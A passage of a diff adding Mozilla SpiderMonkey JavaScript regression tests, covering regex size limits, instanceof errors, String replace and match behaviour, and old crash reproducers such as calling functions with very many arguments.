|4618|4619|4620|4621|4622|4623|4624|4625|4626|4627|4628|4629|4630|4631|4632|4633|4634|4635|4636|4637|4638|4639|4640|4641|4642|4643|4644|4645|4646|4647|4648|4649|4650|4651|4652|4653|4654|4655|4656|4657|4658|4659|4660|4661|4662|4663|4664|4665|4666|4667|4668|4669|4670|4671|4672|4673|4674|4675|4676|4677|4678|4679|4680|4681|4682|4683|4684|4685|4686|4687|4688|4689|4690|4691|4692|4693|4694|4695|4696|4697|4698|4699|4700|4701|4702|4703|4704|4705|4706|4707|4708|4709|4710|4711|4712|4713|4714|4715|4716|4717|4718|4719|4720|4721|4722|4723|4724|4725|4726|4727|4728|4729|4730|4731|4732|4733|4734|4735|4736|4737|4738|4739|4740|4741|4742|4743|4744|4745|4746|4747|4748|4749|4750|4751|4752|4753|4754|4755|4756|4757|4758|4759|4760|4761|4762|4763|4764|4765|4766|4767|4768|4769|4770|4771|4772|4773|4774|4775|4776|4777|4778|4779|4780|4781|4782|4783|4784|4785|4786|4787|4788|4789|4790|4791|4792|4793|4794|4795|4796|4797|4798|4799|4800|4801|4802|4803|4804|4805|4806|4807|4808|4809|4810|4811|4812|4813|4814|4815|4816|4817|4818|4819|4820|4821|4822|4823|4824|4825|4826|4827|4828|4829|4830|4831|4832|4833|4834|4835|4836|4837|4838|4839|4840|4841|4842|4843|4844|4845|4846|4847|4848|4849|4850|4851|4852|4853|4854|4855|4856|4857|4858|4859|4860|4861|4862|4863|4864|4865|4866|4867|4868|4869|4870|4871|4872|4873|4874|4875|4876|4877|4878|4879|4880|4881|4882|4883|4884|4885|4886|4887|4888|4889|4890|4891|4892|4893|4894|4895|4896|4897|4898|4899|4900|4901|4902|4903|4904|4905|4906|4907|4908|4909|4910|4911|4912|4913|4914|4915|4916|4917|4918|4919|4920|4921|4922|4923|4924|4925|4926|4927|4928|4929|4930|4931|4932|4933|4934|4935|4936|4937|4938|4939|4940|4941|4942|4943|4944|4945|4946|4947|4948|4949|4950|4951|4952|4953|4954|4955|4956|4957|4958|4959|4960|4961|4962|4963|4964|4965|4966|4967|4968|4969|4970|4971|4972|4973|4974|4975|4976|4977|4978|4979|4980|4981|4982|4983|4984|4985|4986|4987|4988|4989|4990|4991|4992|4993|4994|4995|4996|4997|4998|4999|5000|5001|5002|5003|5004|5005|5006|5007|5008|5009|5010|5011|5012|5013|5014|5015|5016|5017|5018|5019|5020|5021|5022|5023|5024|5025|5026|5027|5028|5029|5030|5031|5032|5033|5034|5035|5036|5037|5038|5039|5040|5041|5042|5043|5044|5045|5046|5047|5048|5049|5050|5051|5052|5053|5054|5055|5056|5057|5058|5059|5060|5061|5062|5063|5064|5065|5066|5067|5068|5069|5070|5071|5072|5073|5074|5075|5076|5077|5078|5079|5080|5081|5082|5083|5084|5085|5086|5087|5088|5089|5090|5091|5092|5093|5094|5095|5096|5097|5098|5099|5100|5101|5102|5103|5104|5105|5106|5107|5108|5109|5110|5111|5112|5113|5114|5115|5116|5117|5118|5119|5120|5121|5122|5123|5124|5125|5126|5127|5128|5129|5130|5131|5132|5133|5134|5135|5136|5137|5138|5139|5140|5141|5142|5143|5144|5145|5146|5147|5148|5149|5150|5151|5152|5153|5154|5155|5156|5157|5158|5159|5160|5161|5162|5163|5164|5165|5166|5167|5168|5169|5170|5171|5172|5173|5174|5175|5176|5177|5178|5179|5180|5181|5182|5183|5184|5185|5186|5187|5188|5189|5190|5191|5192|5193|5194|5195|5196|5197|5198|5199|5200|5201|5202|5203|5204|5205|5206|5207|5208|5209|5210|5211|5212|5213|5214|5215|5216|5217|5218|5219|5220|5221|5222|5223|5224|5225|5226|5227|5228|5229|5230|5231|5232|5233|5234|5235|5236|5237|5238|5239|5240|5241|5242|5243|5244|5245|5246|5247|5248|5249|5250|5251|5252|5253|5254|5255|5256|5257|5258|5259|5260|5261|5262|5263|5264|5265|5266|5267|5268|5269|5270|5271|5272|5273|5274|5275|5276|5277|5278|5279|5280|5281|5282|5283|5284|5285|5286|5287|5288|5289|5290|5291|5292|5293|5294|5295|5296|5297|5298|5299|5300|5301|5302|5303|5304|5305|5306|5307|5308|5309|5310|5311|5312|5313|5314|5315|5316|5317|5318|5319|5320|5321|5322|5323|5324|5325|5326|5327|5328|5329|5330|5331|5332|5333|5334|5335|5336|5337|5338|5339|5340|5341|5342|5343|5344|5345|5346|5347|5348|5349|5350|5351|5352|5353|5354|5355|5356|5357|5358|5359|5360|5361|5362|5363|5364|5365|5366|5367|5368|5369|5370|5371|5372|5373|5374|5375|5376|5377|5378|5379|5380|5381|5382|5383|5384|5385|5386|5387|5388|5389|5390|5391|5392|5393|5394|5395|5396|5397|5398|5399|5400|5401|5402|5403|5404|5405|5406|5407|5408|5409|5410|5411|5412|5413|5414|5415|5416|5417|5418|5419|5420|5421|5422|5423|5424|5425|5426|5427|5428|5429|5430|5431|5432|5433|5434|5435|5436|5437|5438|5439|5440|5441|5442|5443|5444|5445|5446|5447|5448|5449|5450|5451|5452|5453|5454|5455|5456|5457|5458|5459|5460|5461|5462|5463|5464|5465|5466|5467|5468|5469|5470|5471|5472|5473|5474|5475|5476|5477|5478|5479|5480|5481|5482|5483|5484|5485|5486|5487|5488|5489|5490|5491|5492|5493|5494|5495|5496|5497|5498|5499|5500|5501|5502|5503|5504|5505|5506|5507|5508|5509|5510|5511|5512|5513|5514|5515|5516|5517|5518|5519|5520|5521|5522|5523|5524|5525|5526|5527|5528|5529|5530|5531|5532|5533|5534|5535|5536|5537|5538|5539|5540|5541|5542|5543|5544|5545|5546|5547|5548|5549|5550|5551|5552|5553|5554|5555|5556|5557|5558|5559|5560|5561|5562|5563|5564|5565|5566|5567|5568|5569|5570|5571|5572|5573|5574|5575|5576|5577|5578|5579|5580|5581|5582|5583|5584|5585|5586|5587|5588|5589|5590|5591|5592|5593|5594|5595|5596|5597|5598|5599|5600|5601|5602|5603|5604|5605|5606|5607|5608|5609|5610|5611|5612|5613|5614|5615|5616|5617|5618|5619|5620|5621|5622|5623|5624|5625|5626|5627|5628|5629|5630|5631|5632|5633|5634|5635|5636|5637|5638|5639|5640|5641|5642|5643|5644|5645|5646|5647|5648|5649|5650|5651|5652|5653|5654|5655|5656|5657|5658|5659|5660|5661|5662|5663|5664|5665|5666|5667|5668|5669|5670|5671|5672|5673|5674|5675|5676|5677|5678|5679|5680|5681|5682|5683|5684|5685|5686|5687|5688|5689|5690|5691|5692|5693|5694|5695|5696|5697|5698|5699|5700|5701|5702|5703|5704|5705|5706|5707|5708|5709|5710|5711|5712|5713|5714|5715|5716|5717|5718|5719|5720|5721|5722|5723|5724|5725|5726|5727|5728|5729|5730|5731|5732|5733|5734|5735|5736|5737|5738|5739|5740|5741|5742|5743|5744|5745|5746|5747|5748|5749|5750|5751|5752|5753|5754|5755|5756|5757|5758|5759|5760|5761|5762|5763|5764|5765|5766|5767|5768|5769|5770|5771|5772|5773|5774|5775|5776|5777|5778|5779|5780|5781|5782|5783|5784|5785|5786|5787|5788|5789|5790|5791|5792|5793|5794|5795|5796|5797|5798|5799|5800|5801|5802|5803|5804|5805|5806|5807|5808|5809|5810|5811|5812|5813|5814|5815|5816|5817|5818|5819|5820|5821|5822|5823|5824|5825|5826|5827|5828|5829|5830|5831|5832|5833|5834|5835|5836|5837|5838|5839|5840|5841|5842|5843|5844|5845|5846|5847|5848|5849|5850|5851|5852|5853|5854|5855|5856|5857|5858|5859|5860|5861|5862|5863|5864|5865|5866|5867|5868|5869|5870|5871|5872|5873|5874|5875|5876|5877|5878|5879|5880|5881|5882|5883|5884|5885|5886|5887|5888|5889|5890|5891|5892|5893|5894|5895|5896|5897|5898|5899|5900|5901|5902|5903|5904|5905|5906|5907|5908|5909|5910|5911|5912|5913|5914|5915|5916|5917|5918|5919|5920|5921|5922|5923|5924|5925|5926|5927|5928|5929|5930|5931|5932|5933|5934|5935|5936|5937|5938|5939|5940|5941|5942|5943|5944|5945|5946|5947|5948|5949|5950|5951|5952|5953|5954|5955|5956|5957|5958|5959|5960|5961|5962|5963|5964|5965|5966|5967|5968|5969|5970|5971|5972|5973|5974|5975|5976|5977|5978|5979|5980|5981|5982|5983|5984|5985|5986|5987|5988|5989|5990|5991|5992|5993|5994|5995|5996|5997|5998|5999|6000|6001|6002|6003|6004|6005|6006|6007|6008|6009|6010|6011|6012|6013|6014|6015|6016|6017|6018|6019|6020|6021|6022|6023|6024|6025|6026|6027|6028|6029|6030|6031|6032|6033|6034|6035|6036|6037|6038|6039|6040|6041|6042|6043|6044|6045|6046|6047|6048|6049|6050|6051|6052|6053|6054|6055|6056|6057|6058|6059|6060|6061|6062|6063|6064|6065|6066|6067|6068|6069|6070|6071|6072|6073|6074|6075|6076|6077|6078|6079|6080|6081|6082|6083|6084|6085|6086|6087|6088|6089|6090|6091|6092|6093|6094|6095|6096|6097|6098|6099|6100|6101|6102|6103|6104|6105|6106|6107|6108|6109|6110|6111|6112|6113|6114|6115|6116|6117|6118|6119|6120|6121|6122|6123|6124|6125|6126|6127|6128|6129|6130|6131|6132|6133|6134|6135|6136|6137|6138|6139|6140|6141|6142|6143|6144|6145|6146|6147|6148|6149|6150|6151|6152|6153|6154|6155|6156|6157|6158|6159|6160|6161|6162|6163|6164|6165|6166|6167|6168|6169|6170|6171|6172|6173|6174|6175|6176|6177|6178|6179|6180|6181|6182|6183|6184|6185|6186|6187|6188|6189|6190|6191|6192|6193|6194|6195|6196|6197|6198|6199|6200|6201|6202|6203|6204|6205|6206|6207|6208|6209|6210|6211|6212|6213|6214|6215|6216|6217|6218|6219|6220|6221|6222|6223|6224|6225|6226|6227|6228|6229|6230|6231|6232|6233|6234|6235|6236|6237|6238|6239|6240|6241|6242|6243|6244|6245|6246|6247|6248|6249|6250|6251|6252|6253|6254|6255|6256|6257|6258|6259|6260|6261|6262|6263|6264|6265|6266|6267|6268|6269|6270|6271|6272|6273|6274|6275|6276|6277|6278|6279|6280|6281|6282|6283|6284|6285|6286|6287|6288|6289|6290|6291|6292|6293|6294|6295|6296|6297|6298|6299|6300|6301|6302|6303|6304|6305|6306|6307|6308|6309|6310|6311|6312|6313|6314|6315|6316|6317|6318|6319|6320|6321|6322|6323|6324|6325|6326|6327|6328|6329|6330|6331|6332|6333|6334|6335|6336|6337|6338|6339|6340|6341|6342|6343|6344|6345|6346|6347|6348|6349|6350|6351|6352|6353|6354|6355|6356|6357|6358|6359|6360|6361|6362|6363|6364|6365|6366|6367|6368|6369|6370|6371|6372|6373|6374|6375|6376|6377|6378|6379|6380|6381|6382|6383|6384|6385|6386|6387|6388|6389|6390|6391|6392|6393|6394|6395|6396|6397|6398|6399|6400|6401|6402|6403|6404|6405|6406|6407|6408|6409|6410|6411|6412|6413|6414|6415|6416|6417|6418|6419|6420|6421|6422|6423|6424|6425|6426|6427|6428|6429|6430|6431|6432|6433|6434|6435|6436|6437|6438|6439|6440|6441|6442|6443|6444|6445|6446|6447|6448|6449|6450|6451|6452|6453|6454|6455|6456|6457|6458|6459|6460|6461|6462|6463|6464|6465|6466|6467|6468|6469|6470|6471|6472|6473|6474|6475|6476|6477|6478|6479|6480|6481|6482|6483|6484|6485|6486|6487|6488|6489|6490|6491|6492|6493|6494|6495|6496|6497|6498|6499|6500|6501|6502|6503|6504|6505|6506|6507|6508|6509|6510|6511|6512|6513|6514|6515|6516|6517|6518|6519|6520|6521|6522|6523|6524|6525|6526|6527|6528|6529|6530|6531|6532|6533|6534|6535|6536|6537|6538|6539|6540|6541|6542|6543|6544|6545|6546|6547|6548|6549|6550|6551|6552|6553|6554|6555|6556|6557|6558|6559|6560|6561|6562|6563|6564|6565|6566|6567|6568|6569|6570|6571|6572|6573|6574|6575|6576|6577|6578|6579|6580|6581|6582|6583|6584|6585|6586|6587|6588|6589|6590|6591|6592|6593|6594|6595|6596|6597|6598|6599|6600|6601|6602|6603|6604|6605|6606|6607|6608|6609|6610|6611|6612|6613|6614|6615|6616|6617|6618|6619|6620|6621|6622|6623|6624|6625|6626|6627|6628|6629|6630|6631|6632|6633|6634|6635|6636|6637|6638|6639|6640|6641|6642|6643|6644|6645|6646|6647|6648|6649|6650|6651|6652|6653|6654|6655|6656|6657|6658|6659|6660|6661|6662|6663|6664|6665|6666|6667|6668|6669|6670|6671|6672|6673|6674|6675|6676|6677|6678|6679|6680|6681|6682|6683|6684|6685|6686|6687|6688|6689|6690|6691|6692|6693|6694|6695|6696|6697|6698|6699|6700|6701|6702|6703|6704|6705|6706|6707|6708|6709|6710|6711|6712|6713|6714|6715|6716|6717|6718|6719|6720|6721|6722|6723|6724|6725|6726|6727|6728|6729|6730|6731|6732|6733|6734|6735|6736|6737|6738|6739|6740|6741|6742|6743|6744|6745|6746|6747|6748|6749|6750|6751|6752|6753|6754|6755|6756|6757|6758|6759|6760|6761|6762|6763|6764|6765|6766|6767|6768|6769|6770|6771|6772|6773|6774|6775|6776|6777|6778/;
+
+result = re.exec('6777');
+
+reportCompare(expect, actual, summary);
+
+status = summary + ' ' + inSection(2) + ' (new RegExp("0|...|9999") ';
+
+var N = 10 * 1000;
+var a = new Array(N);
+for (var i = 0; i != N; ++i) {
+ a[i] = i;
+}
+var str = a.join('|'); // str is 0|1|2|3|...|<printed value of N -1>
+var re = new RegExp(str);
+re.exec(N - 1);
+
+reportCompare(expect, actual, summary);
+
+
+
diff --git a/js/src/tests/non262/regress/regress-281606.js b/js/src/tests/non262/regress/regress-281606.js
new file mode 100644
index 0000000000..2f36c150c3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-281606.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 281606;
+var summary = 'l instanceof r throws TypeError if r does not support [[HasInstance]]';
+var actual = '';
+var expect = '';
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {};
+
+status = summary + ' ' + inSection(1) + ' o instanceof Math ';
+expect = 'TypeError';
+try
+{
+ if (o instanceof Math)
+ {
+ }
+ actual = 'No Error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' o instanceof o ';
+expect = 'TypeError';
+try
+{
+ if (o instanceof o)
+ {
+ }
+ actual = 'No Error';
+}
+catch(e)
+{
+ actual = e.name;
+}
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-281930.js b/js/src/tests/non262/regress/regress-281930.js
new file mode 100644
index 0000000000..2939c8be8c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-281930.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 281930;
+var summary = 'this reference should point to global object in function expressions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var global = this;
+
+actual = function() { return this; }();
+expect = global;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-283477.js b/js/src/tests/non262/regress/regress-283477.js
new file mode 100644
index 0000000000..a4bce398a9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-283477.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 283477;
+var summary = 'a.lastIndexOf(b, c) should return -1 when there is no match';
+var actual = '';
+var expect = '';
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + " " + '"".lastIndexOf("hello", 0);';
+expect = -1;
+actual = "".lastIndexOf("hello", 0);
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + " " + ' "".lastIndexOf("hello");';
+expect = -1;
+actual = "".lastIndexOf("hello");
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-288688.js b/js/src/tests/non262/regress/regress-288688.js
new file mode 100644
index 0000000000..465a7ec931
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-288688.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 288688;
+var summary = 'x->regExpStatics should be stacked and unstacked around the lambda invocations';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function genGluck(str){
+ var x = str;
+ var rx=/end/i;
+ x = x.replace(rx,function($1){
+ $1.match(rx);
+ return "";
+ });
+ x = x.replace(/^end/,"");
+ return x;
+}
+
+expect = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"+
+ "XXX";
+
+actual = genGluck( expect + "end" );
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-289094.js b/js/src/tests/non262/regress/regress-289094.js
new file mode 100644
index 0000000000..03945f77e6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-289094.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 289094;
+var summary = 'argument shadowing function property special case for lambdas';
+var actual = '';
+var expect = 'function:function';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function fn()
+{
+ var o = {
+ d: function(x,y) {},
+ init: function() { this.d.x = function(x) {}; this.d.y = function(y) {}; }
+ };
+ o.init();
+ actual = typeof(o.d.x) + ':' + typeof(o.d.y);
+}
+
+fn();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-290575.js b/js/src/tests/non262/regress/regress-290575.js
new file mode 100644
index 0000000000..65c43919a6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-290575.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290575;
+var summary = 'Do not crash calling function with more than 32768 arguments';
+var actual = 'No Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function crashMe(n) {
+ var nasty, fn;
+
+ nasty = [];
+ while (n--)
+ nasty.push("a"+n); // Function arguments
+ nasty.push("void 0"); // Function body
+ fn = Function.apply(null, nasty);
+ fn.toString();
+}
+
+printStatus('crashMe(0x8001)');
+
+crashMe(0x8001);
+
+reportCompare(expect, actual, summary);
+
+function crashMe2(n) {
+ var nasty = [], fn
+
+ while (n--) nasty[n] = "a"+n
+ fn = Function(nasty.join(), "void 0")
+ fn.toString()
+ }
+
+printStatus('crashMe2(0x10000)');
+
+summary = 'No Syntax Error Function to string when more than 65536 arguments';
+expect = 'Error';
+try
+{
+ crashMe2(0x10000);
+ actual = 'No Error';
+ reportCompare(expect, actual, summary);
+}
+catch(e)
+{
+ actual = 'Error';
+ reportCompare(expect, actual, summary);
+ expect = 'SyntaxError';
+ actual = e.name;
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-290656.js b/js/src/tests/non262/regress/regress-290656.js
new file mode 100644
index 0000000000..671304cb46
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-290656.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290656;
+var summary = 'Regression from bug 254974';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function foo() {
+ with(foo) {
+ this["insert"] = function(){ var node = new bar(); };
+ }
+ function bar() {}
+}
+
+try
+{
+ var list = new foo();
+ list.insert();
+}
+catch(e)
+{
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-294191.js b/js/src/tests/non262/regress/regress-294191.js
new file mode 100644
index 0000000000..f19ba209df
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-294191.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294191;
+var summary = 'Do not crash with nested function and "delete" op';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ function x()
+ {
+ x;
+ }
+}
+
+f.z=0;
+
+delete f.x;
+
+f();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-294195-01.js b/js/src/tests/non262/regress/regress-294195-01.js
new file mode 100644
index 0000000000..273b505545
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-294195-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294195;
+var summary = 'Do not crash during String replace when accessing methods on backreferences';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var s = 'some text sample';
+
+// this first version didn't crash
+var result = s.replace(new RegExp('(^|\\s)(text)'), (new String('$1')));
+result = result.substr(0, 1);
+reportCompare(expect, actual, inSection(1) + ' ' + summary);
+
+// the original version however did crash.
+result = s.replace(new RegExp('(^|\\s)(text)'),
+ (new String('$1')).substr(0, 1));
+reportCompare(expect, actual, inSection(2) + ' ' + summary);
diff --git a/js/src/tests/non262/regress/regress-294195-02.js b/js/src/tests/non262/regress/regress-294195-02.js
new file mode 100644
index 0000000000..c6a3cc8106
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-294195-02.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294195;
+var summary = 'Do not crash during String replace when accessing methods on backreferences';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var result = "".replace(/()/, "$1".slice(0,1))
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-294302.js b/js/src/tests/non262/regress/regress-294302.js
new file mode 100644
index 0000000000..b4f1ed2fc2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-294302.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 294302;
+var summary = 'JS Shell load should throw catchable exceptions';
+var actual = 'Error not caught';
+var expect = 'Error caught';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ load('foo.js');
+}
+catch(ex)
+{
+ actual = 'Error caught';
+ printStatus(actual);
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-295052.js b/js/src/tests/non262/regress/regress-295052.js
new file mode 100644
index 0000000000..a84a157877
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-295052.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 295052;
+var summary = 'Do not crash when apply method is called on String.prototype.match';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ "".match.apply();
+ throw new Error("should have thrown for undefined this");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "No TypeError for String.prototype.match");
+}
+
